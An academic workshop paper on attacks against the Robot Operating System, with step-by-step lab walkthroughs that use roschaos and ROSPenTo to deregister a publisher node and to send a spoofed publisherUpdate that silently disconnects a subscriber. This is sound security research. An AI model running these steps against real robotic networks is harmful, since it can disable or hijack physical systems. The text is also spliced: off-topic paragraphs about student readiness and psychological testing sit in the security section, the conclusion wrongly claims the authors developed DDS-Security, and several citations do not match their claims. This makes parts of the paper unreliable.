Analysis of Attacks on Robotic Operation System

Elena Basan [1], Nikita Sushkin [1], Oleg Khabarov [1], Oleg Makarevich [1] and Ivan Azarov [2]

[1] *Southern Federal University, 2 Chekhov St., Taganrog, 347928, Russia*
[2] *North-Caucasus Federal University, 2, Kulakov prospect, Stavropol, 355029, Russia*

Abstract

The latest version of ROS was released on May 23 this year, and according to the developers, there will be no more new versions. The future belongs to ROS2.mA robots or robotic system is often a modular system where each module communicates with other modules. In ROS terminology, such modules are called nodes, and they can communicate in a subscriber-publisher or client-server fashion. There is also a special Master node, which is responsible for the initial linking of ordinary nodes. ROS was not designed with security considerations in mind, i.e. ensuring the «three pillars» - confidentiality, integrity or authenticity. Consequently, ROS becomes a tidbit for attackers. They can listen to traffic; Disable individual nodes; Replace nodes. The situation was further simplified when utilities for auditing the security of ROS systems appeared in the public domain: Roschaos, Rospento. In addition, the developers of ROS applications independently implemented protection measures to prevent these threats.

Keywords

secure-ROS, ROS systems, ROS security tool, secure framework, modular framework, ROS tools, security mechanisms, robotic operating system, security challenges

1. Introduction

ROS (Robot Operating System) is the most popular platform in the field of research robotics, created by Willow Garage and now supported by the Open-Source Robotics Foundation (OSRF). The main goal of ROS is to provide a unified and open-source software framework for controlling robots in a variety of real and simulated environments. ROS is not the first such attempt: a Wikipedia search for "software for robots" finds 15 such projects. However, Willow Garage is no ordinary group of programmers making free software [1]. With solid funding, strong technical expertise, and a well-planned series of development milestones, Willow Garage has sparked a kind of programming fever among robotics, creating hundreds of custom ROS packages already created in just a few short years [2]. ROS now includes software for tasks ranging from navigation and localization (SLAM), 3D object recognition, action planning, multi-arm motion control, machine learning, and even billiards [3].

ROS can run on various versions of Linux, MacOS X, and partly on Microsoft Windows. However, the easiest way to get started is to use Ubuntu Linux, as this OS is officially supported by OSRF.

However, ROS was not designed with security considerations in mind. With some basic knowledge of how ROS works internally, it is easy to manipulate.

ROS makes a clear distinction between app control (like finding a publisher for a topic I want to subscribe to) and data transfer. The former is handled through the XML-RPC API, and the latter is handled by TCP or UDP based communication. In both cases, security concerns regarding confidentiality, integrity or authenticity were not considered. The ROS node does not need to identify or authenticate itself before taking any action. The stateless API also ignores what is happening on the

AISMA-2021: International Workshop on Advanced in Information Security Management and Applications, October 1, 2021, Stavropol, Krasnoyarsk, Russia
EMAIL: ebasan@sfedu.ru (Elena Basan), sushkin@sfedu.ru (Nikita Sushkin), habarov@sfedu.ru (Oleg Khabarov), obmakarevich@sfedu.ru (Oleg Makarevich), azarov8282@mail.ru (Ivan Azarov)
ORCID: 0000-0001-6127-4484 (Elena Basan), 0000-0001-8037-7067 (Nikita Sushkin), 0000-0003-0066-8564 (Oleg Makarevich), 0000-0000-0002-6810-8152 (Ivan Azarov)

network. While many of these design decisions seem very elegant from a software development standpoint, this opens several attack surfaces in ROS. Apart from the ability to disable individual nodes (as a form of DOS attack), eavesdropping in ROS is easy because there is no encrypted communication [4]. This way, anyone can read the data that the application is sending.

To carry out attacks on ROS applications, you can use two ready-made utilities: roschaos and ROSPenTo. They exploit vulnerabilities in the ROS API [5].

2. Unauthenticated registration / deregistration using ROS Master API

The ROS Master API does not require authentication for registration and deregistration of publishers, subscribers, and services [6]. This leads to a vulnerability that can be easily exploited using off-the-shelf penetration testing tools by an attacker who has access to the internal robotic network [7].

Building a Docker image and running a Docker container:

```
$ docker build -t basic_cybersecurity11:latest .
$ docker run -it  --name basic_cybersecuirity11 basic_cybersecurity11:latest
```

Launching ROS nodes and topics participating in the network after starting the container:

```
root@xxx:/# rosrun scenario1 talker &
root@xxx:/# rosrun scenario1 listener
```

Now let's open and initialize another command line in the same Docker container:

```
$ docker exec –it basic_cybersecurity11 /bin/bash
root@xxx:/# . /opt/ros/kinetic/setup.bash
```

In the newly opened terminal, display a list of nodes and topics:

```
root@xxx:/# rosnode list
/listener
/publisher
/rosout
root@d64845e9601e:/# rostopic list
/flag
/rosout
/rosout_agg
```

We are interested in the previously launched nodes / publisher and / subscriber. Both of them communicate via the / flag topic (you can check this either by looking at the source code of the nodes or using the rosnode info command):

```
root @xxx: / # rostopic echo / flag
data: "br {N (* - E6NgwbyWc"
---
data: "br {N (* - E6NgwbyWc"
---
data: "br {N (* - E6NgwbyWc"
---
```

Unregister the / publisher node from the / listener node using the roschaos utility for auditing the security of ROS systems:

```
root@xxx:/# rosnode list
/listener
/publisher
/rosout
root@xxx:/# roschaos master unregister node --node_name /publisher
Unregistering /publisher
```

You can see that the / listener node has stopped receiving messages. We can check the list of nodes:

```
root@xxx:/# rosnode list
/listener
/rosout
```

We can observe that ROS Master no longer finds the / publisher node as it is no longer registered. However, the talker process is still running:

```
root@xxx:/# ps -e
  PID TTY          TIME CMD
    1 pts/0    00:00:00 launch_script.b
   31 pts/0    00:00:00 roscore
   42 ?        00:00:01 rosmaster
   55 ?        00:00:01 rosout
   72 pts/0    00:00:00 bash
```

```
   78 pts/1    00:00:00 bash
   90 pts/0    00:00:00 talker
  108 pts/0    00:00:01 listener
  174 pts/1    00:00:00 ps
```

Unauthenticated theme publisher list updates

3. Unauthenticated theme publisher list updates

The publisherUpdate method, which is part of the ROS Slave API, does not require authentication, as you can see from the parameters it takes:

```
publisherUpdate(caller_id, topic, publishers)

    Callback from master of current publisher list for specified topic.

    Parameters
            caller_id (str)
                    ROS caller ID.

            topic (str)
                    Topic name.

            publishers ([str])
                    List of current publishers for topic in the form of XMLRPC
                  URIs

    Returns (int, str, int)
            (code, statusMessage, ignore)
```

The main problem is that the nodes of the ROS network do not continuously poll the ROS Master. Instead, they are registered once within the publisherUpdate callback, making them available to any attacker who arbitrarily uses this method [8]. By exploiting this vulnerability, an attacker could potentially change the publisher list of a given topic, affecting selected nodes, while the rest of the ROS network would not be affected and would not notice any changes.

```
$ docker build -t basic_cybersecurity12:latest .
$ docker run -it –name basic_cybersecurity12 basic_cybersecurity12:latest
```

Let's start two nodes that exchange data through the topic:

```
root@xxx:/# rosrun scenario1 talker &
root@xxx:/# rosrun scenario1 listener
```

Let's start and initialize one more command line through the same Docker container:

```
$ docker exec –it basic_cybersecurity12 /bin/bash
root@xxx:/# . /opt/ros/kinetic/setup.bash
```

And in this second command line, we will display a list of nodes and topics:

```
root@d64845e9601e:/# rosnode list
/listener
/publisher
/rosout
root@xxx:/# rostopic list
/flag
/rosout
/rosout_agg
```

Among the nodes, we are interested in the / listener and / publisher nodes that we launched earlier, which exchange data through the / flag theme:

```
root@xxx:/# rostopic echo /flag
data: "br{N(*-E6NgwbyWc"
---
data: "br{N(*-E6NgwbyWc"
---
data: "br{N(*-E6NgwbyWc"
---
```

Unregistering / publisher from / listener

First, we need to unregister / publisher from / listener. We will do this using the ROS Master API but notifying only / listener and no other node else. Messages from / publisher will no longer be processed by / listener [9]. All of this will happen without the involvement of the ROS Master (and other non-target nodes such as / publisher). To do all this, we will use the ROSPenTo pentest utility, which can communicate via the XMLRPC protocol with the ROS Master and ROS nodes [10].

Let us launch ROSPenTo and analyze the robotic network [11]:

```
root@d64845e9601e:/# rospento
RosPenTo - Penetration testing tool for the Robot Operating System(ROS)
Copyright(C) 2018 JOANNEUM RESEARCH Forschungsgesellschaft mbH
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it under certain
conditions.
For more details see the GNU General Public License at <http://www.gnu.org/licenses/>.

What do you want to do?
0: Exit
1: Analyse system...
2: Print all analyzed systems
1

Please input URI of ROS Master: (e.g. http://localhost:11311/)
http://localhost:11311/
```

The analysis result should look something like this [12]:

```
System 0: http://127.0.0.1:11311/
Nodes:
     Node 0.1: /listener (XmlRpcUri: http://172.17.0.2:36963/)
     Node 0.0: /publisher (XmlRpcUri: http://172.17.0.2:40117/)
     Node 0.2: /rosout (XmlRpcUri: http://172.17.0.2:39955/)
Topics:
     Topic 0.0: /flag (Type: std_msgs/String)
     Topic 0.1: /rosout (Type: rosgraph_msgs/Log)
     Topic 0.2: /rosout_agg (Type: rosgraph_msgs/Log)
Services:
     Service 0.3: /listener/get_loggers
     Service 0.2: /listener/set_logger_level
     Service 0.1: /publisher/get_loggers
     Service 0.0: /publisher/set_logger_level
     Service 0.4: /rosout/get_loggers
     Service 0.5: /rosout/set_logger_level
Communications:
     Communication 0.0:
               Publishers:
                         Node 0.0: /publisher (XmlRpcUri: http://172.17.0.2:40117/)
               Topic 0.0: /flag (Type: std_msgs/String)
               Subscribers:
                         Node 0.1: /listener (XmlRpcUri: http://172.17.0.2:36963/)
     Communication 0.1:
               Publishers:
                         Node 0.0: /publisher (XmlRpcUri: http://172.17.0.2:40117/)
                         Node 0.1: /listener (XmlRpcUri: http://172.17.0.2:36963/)
               Topic 0.1: /rosout (Type: rosgraph_msgs/Log)
               Subscribers:
                         Node 0.2: /rosout (XmlRpcUri: http://172.17.0.2:39955/)
     Communication 0.2:
               Publishers:
                         Node 0.2: /rosout (XmlRpcUri: http://172.17.0.2:39955/)
               Topic 0.2: /rosout_agg (Type: rosgraph_msgs/Log)
               Subscribers:
Parameters:
     Parameter 0.0:
               Name: /roslaunch/uris/host_d64845e9601e__39259
     Parameter 0.1:
               Name: /rosdistro
```

```
Parameter 0.2:
         Name: /rosversion
Parameter 0.3:
         Name: /run_id
```

Let us go ahead and unregister / publisher. The first terminal is running a node / listener that receives messages. In the second terminal, where we still have ROSPenTo running, unregister / publisher:

```
What do you want to do?
   0: Exit
   1: Analyse system...
   2: Print all analyzed systems
   3: Print information about analyzed system...
   4: Print nodes of analyzed system...
   5: Print node types of analyzed system (Python or C++)...
   6: Print topics of analyzed system...
   7: Print services of analyzed system...
   8: Print communications of analyzed system...
   9: Print communications of topic...
   10: Print parameters...
   11: Update publishers list of subscriber (add)...
   12: Update publishers list of subscriber (set)...
   13: Update publishers list of subscriber (remove)...
   14: Isolate service...
   15: Unsubscribe node from parameter (only C++)...
   16: Update subscribed parameter at Node (only C++)...
   13  (remove subscriber)
   To which subscriber do you want to send the publisherUpdate message?
   Please enter number of subscriber (e.g.: 0.0):
   0.1 (/listener)
   Which topic should be affected?
   Please enter number of topic (e.g.: 0.0):
   0.0 (/flag)
   Which publisher(s) do you want to remove?
   Please enter number of publisher(s) (e.g.: 0.0,0.1,...):
   0.0 (/publisher)
   sending publisherUpdate to subscriber '/listener (XmlRpcUri: http://172.17.0.2:36963/)'
   over topic '/flag (Type: std_msgs/String)' with publishers ''
   PublisherUpdate completed successfully.
```

Now in the first terminal, we can observe that the / listener node has stopped receiving messages. If we turn to the ROS Master API using the standard ROS utilities, we will see that no changes have occurred in the list of nodes:

```
root@19246d9bf44b:/# rosnode list
/listener
/publisher
/rosout
```

If we run the "Analyze system ..." command of the ROSPenTo utility again, we will not notice any changes either.

What really happened: ROSPenTo called the publisherUpdate XML-RPC function with an empty list of publishers as a parameter. This caused the / listener node to assume that there were no publishers available with the / flag theme, and therefore dropped the connection to the / publisher node.

4. Security measures

The ROS developers realized all the flaws in the architecture of their brainchild and released a new version of it. Now communication between nodes takes place according to the DDS standard, which currently has two implementations: Connext Secure 5.3.1 (proprietary); eProsima Fast-RTPS 1.6.0 (open-source)/mmAlso, there is no longer a Master Node in the scheme - all its duties fell on the shoulders of DDS, which means that it is no longer possible to unnoticeably turn off nodes and perform a substitution [13]. However, there is still no encryption out of the box, which means we can still intercept and read messages.

The formation of readiness indicator of information security specialists, interaction with employers contributed to increasing the responsibility of all participants in the educational process for the total results. The results of pedagogical monitoring were a clearer organization of practices, improved educational programs of several disciplines, modified educational and methodological complexes, modernized laboratory installations.

Teachers noted the increased interest of students in the learning process. From these positions, the motivational factor for learning was investigated throughout the training period according to the modified methodology.

Dynamics of structural elements of the readiness indicator on average (levels of theoretical knowledge, practical skills) is positive. Individual psychological qualities were assessed by specialists of the professional psychological selection group using a set of psychodiagnostical methods and tests considering modern requirements for an information protection specialist.

The experts of the commission, when assessing the psychological qualities of specialists in the field of information security, made a conclusion on the professional suitability of graduates based on levels of determination, mindfulness, stress resistance and others [14].

To solve the latter problem, the DDS-Security specification was developed, which consists of the so-called. Plugins: authentication plugin, access control (authorization) plugin, cryptography plugin (encryption, decryption, hashing, EDS, etc.), logging plugin and data tagging plugin. The last two are not implemented in the free DDS implementation - eProsima Fast-RTPS [15]. However, the implementation does not always comply with the specification, and here it is the same, attacks are still available, but their complexity is greatly increasing. For example, topology recovery during the handshake stage is because at the very beginning the nodes exchange access control manifests, which contain metainformation that can be used to reconstruct the topology of the robotic network [16].

A consortium of four well-known companies - Intel, NXP, Synopsys and UbiquiOS under the auspices of the Linux Foundation - have created the Zephyr Project, a lightweight, scalable real-time operating system designed to run on resource-constrained devices of various architectures and distributed under the Apache 2.0 license. Unlike ROS, we see a real-time OS implementation here [17].

However, like any software, Zephyr is periodically found to have vulnerabilities, although participation in the development of an IT giant like Intel contributes to an increase in software quality, which means fewer bugs [18]. However, in May of this year, NCC audited Zephyr and found two critical networking stack vulnerabilities:

1) Stack overflow in net_ipv4_parse_hdr_options. An attacker can infiltrate or execute code inside the kernel when a malicious ICMP packet reaches the device. The screenshot shows how the attacker disabled the device.

2) Insecure parsing of MQTT header, which leads to memory corruption. A remote attacker could send an MQTT packet with a malformed header to cause memory corruption in the Zephyr kernel, which could lead to code execution.

5. Conclusion

The robot operating system is used to develop control applications for robots and unmanned aerial vehicles [19]. Such systems are usually a very important component, since all the logic for controlling the robot is built on them [20-23]. ROS was not designed with security considerations in mind, providing the basics - confidentiality, integrity, or authenticity. Consequently, ROS becomes a tasty morsel for attackers. They can:Listen to traffic; Disable individual nodes; Substitute nodes. The situation became even simpler when utilities for auditing the security of ROS systems appeared in the public domain: roschaos; rospento. ROS application developers have implemented security measures themselves to prevent these threats. If systems fail or fail, then the robot itself and the environment in which it is located may be at risk. To solve the last problem, we developed the DDS-Security specification, which consists of the so-called. plugins: authentication plugin, access control (authorization) plugin, cryptography plugin (encryption, decryption, hashing, EDS, etc.), logging plugin and data tagging plugin. The last two are not implemented in the free implementation of DDS - eProsima Fast-RTPS.

However, the implementation does not always comply with the specification, and here it is the same, attacks are still available, but their complexity increases greatly. For example, topology recovery during the handshake stage is because, at the very beginning, nodes exchange access control manifests that contain meta-information from which robotic network topologies can be restored.

Our research has shown that ROS is quite vulnerable and requires significant improvement. Using such a system to manage critical applications becomes unacceptable [21]. The developers of ROS realized the shortcomings in the architecture and released a new version of it. Now communication between nodes takes place according to the DDS standard, which currently has two implementations: Connext Secure 5.3.1 (proprietary), eProsima Fast-RTPS 1.6.0 (open-source).

In addition, there is no longer a Master node in the scheme - all its responsibilities fell on the shoulders of DDS, which means that it is no longer possible to silently disable nodes, as well as perform substitution. However, there is still no encryption out of the box, which means that we can still intercept and read messages.ROS2 is becoming more secure; however, a fair number of vulnerabilities are still present. In general, despite the existing vulnerabilities of the operating system, it is a convenient mechanism for developing robot control systems. It is most convenient to collect and receive data from the sensor system and transmit control commands to ROS 2. This is due to the publisher architecture. the subscriber processes appear to be isolated from each other and may not communicate directly with each other, but act through the publisher. At the same time, it is possible to ensure that the publisher will carry out the authorization of processes. One of the directions for ensuring security in this case may be the integration of a mandatory access control model. Provided that it is required to provide an isolated environment and the highest level of protection.

6. Acknowledgements

This research was funded by the Russian Science Foundation grant number 21-79-00194, https://rscf.ru/project/21-79-00194/ in Southern Federal University.

7. References

[1] U. -G. Lee, K. -J. Choi and S. -Y. Park, The Design and Implementation of Autonomous Driving Pallet Robot System using ROS, 2021 Twelfth International Conference on Ubiquitous and Future Networks (ICUFN), 2021, pp. 372-374, doi: 10.1109/ICUFN49451.2021.9528735.

[2] P. Anggraeni, M. Mrabet, M. Defoort and M. Djemai, Development of a wireless communication platform for multiple-mobile robots using ROS, 2018 6th International Conference on Control Engineering & Information Technology (CEIT), 2018, pp. 1-6, doi: 10.1109/CEIT.2018.8751845.

[3] A. F. Olalekan, J. A. Sagor, M. H. Hasan, and A. S. Oluwatobi, Comparison of Two SLAM Algorithms Provided by ROS (Robot Operating System), 2021 2nd International Conference for Emerging Technology (INCET), 2021, pp. 1-5, doi: 10.1109/INCET51464.2021.9456164.

[4] X. Zhao, S. Shu, Y. Lan, H. Feng and W. Dong, Security Controller Synthesis for ROS-based Robot,m2020 IEEE 20th International Conference on Software Quality, Reliability and Security Companion (QRS-C), 2020, pp. 472-477, doi: 10.1109/QRS-C51114.2020.00085.

[5] M. J. Fernandez, P. J. Sanchez-Cuevas, G. Heredia and A. Ollero, Securing UAV communications using ROS with custom ECIES-based method, 2019 Workshop on Research, Education and Development of Unmanned Aerial Systems (RED UAS), 2019, pp. 237-246, doi: 10.1109/REDUAS47371.2019.8999685.

[6] B. Dieber, S. Kacianka, S. Rass and P. Schartner, Application-level security for ROS-based applications, 2016 IEEE/RSJ International Conference on Intelligent Robots and Systems (IROS), 2016, pp. 4477-4482, doi: 10.1109/IROS.2016.7759659.

[7] I. Abeykoon and X. Feng, Challenges in ROS Forensics,2019 IEEE SmartWorld, Ubiquitous Intelligence & Computing, Advanced & Trusted Computing, Scalable Computing & Communications, Cloud & Big Data Computing, Internet of People and Smart City Innovation (SmartWorld/SCALCOM/UIC/ATC/CBDCom/IOP/SCI), 2019, pp. 1677-1682, doi: 10.1109/SmartWorld-UIC-ATC-SCALCOM-IOP-SCI.2019.00299.

[8] X. Zhao, S. Shu, Y. Lan, H. Feng and W. Dong, Security Controller Synthesis for ROS-based Robot, 2020 IEEE 20th International Conference on Software Quality, Reliability and Security Companion (QRS-C), 2020, pp. 472-477, doi: 10.1109/QRS-C51114.2020.00085.
[9] B. Dieber, S. Kacianka, S. Rass and P. Schartner, Application-level security for ROS-based applications," 2016 IEEE/RSJ International Conference on Intelligent Robots and Systems (IROS), 2016, pp. 4477-4482, doi: 10.1109/IROS.2016.7759659.
[10] M. Mukhandi, D. Portugal, S. Pereira and M. S. Couceiro, A novel solution for securing robot communications based on the MQTT protocol and ROS, 2019 IEEE/SICE International Symposium on System Integration (SII), 2019, pp. 608-613, doi: 10.1109/SII.2019.8700390.
[11] N. X. Quyen, C. T. Nguyen, P. Barlet-Ros and R. Dojen, A novel approach to security enhancement of chaotic DSSS systems," 2016 IEEE Sixth International Conference on Communications and Electronics (ICCE), 2016, pp. 471-476, doi: 10.1109/CCE.2016.7562681.
[12] S. Osuka et al., Fundamental study on non-invasive frequency injection attack against RO-based TRNG, 2018 IEEE International Symposium on Electromagnetic Compatibility and 2018 IEEE Asia-Pacific Symposium on Electromagnetic Compatibility (EMC/APEMC), 2018, pp. 8-8, doi: 10.1109/ISEMC.2018.8394008.
[13] M. M. Basheer and A. Varol, An Overview of Robot Operating System Forensics, 2019 1st International Informatics and Software Engineering Conference (UBMYK), 2019, pp. 1-4, doi: 10.1109/UBMYK48245.2019.8965649.
[14] B. Breiling, B. Dieber and P. Schartner, Secure communication for the robot operating system, 2017 Annual IEEE International Systems Conference (SysCon), 2017, pp. 1-6, doi: 10.1109/SYSCON.2017.7934755.
[15] S. Moini et al., "Understanding and Comparing the Capabilities of On-Chip Voltage Sensors against Remote Power Attacks on FPGAs, 2020 IEEE 63rd International Midwest Symposium on Circuits and Systems (MWSCAS), 2020, pp. 941-944, doi: 10.1109/MWSCAS48704.2020.9184683.
[16] Z. Xu and Q. Zhu, Cross-Layer Secure and Resilient Control of Delay-Sensitive Networked Robot Operating Systems, 2018 IEEE Conference on Control Technology and Applications (CCTA), 2018, pp. 1712-1717, doi: 10.1109/CCTA.2018.8511500.
[17] Y. -k. Lee, Y. kim and J. -n. kim, Implementation of TLS and DTLS on Zephyr OS for IoT Devices, 2018 International Conference on Information and Communication Technology Convergence (ICTC), 2018, pp. 1292-1294, doi: 10.1109/ICTC.2018.8539493.
[18] H. Aly and M. Youssef, Zephyr demo: Ubiquitous accurate multi-sensor fusion-based respiratory rate estimation using smartphones, 2016 IEEE Conference on Computer Communications Workshops (INFOCOM WKSHPS), 2016, pp. 1-2, doi: 10.1109/INFCOMW.2016.7562035.
[19] A.S. Basan, E.S. Basan, M.A. Lapina, V.G. Lapin, Behavior-Based Assessment of Trust in a Cyber-Physical System, Futuristic Trends in Network and Communication Technologies (FTNCT), 2020. Communications in Computer and Information Science, vol 1395. Springer, Singapore. https://doi.org/10.1007/978-981-16-1480-4_17.
[20] Basan, E., Lapina, M., Mecella, M. Protected group control system for mobile robots. Paper presented at the YRID-2020 Proceedings of the International Workshop on Data Mining and Knowledge Engineering Stavropol, Russia, October 15-16, 2020, CEUR Workshop Proceeding 2021, 2842, pp. 4-12, http://ceur-ws.org/Vol-2842/Invited_paper_1.pdf
[21] Proshkin, N., Basan, E., Lapina, M. Radio Frequency Method for Emulating Multiple UAVs // 17th International Conference on Intelligent Environments, IE 2021 – Proceedings, 2021, 9486599, https://doi.org/10.1109/IE51775.2021.9486599
[22] Basan, A.S., Basan, E.S., Lapina, M.A., Kormakova, V.N., Lapin, V.G. Security methods for a group of mobile robots according to the requirements of Russian and foreign legislation // IOP Conference Series: Materials Science and Engineering, 2020, 873(1),012031, https://doi.org/10.1088/1757-899x/873/1/012031
[23] Basan, E., Lapina, M., Mudruk, N., Abramov, E. Intelligent Intrusion Detection System for a Group of UAVs, Lecture Notes in Computer Science, 2021, 12690 LNCS, pp. 230-240, https://doi.org/10.1007/978-3-030-78811-7_22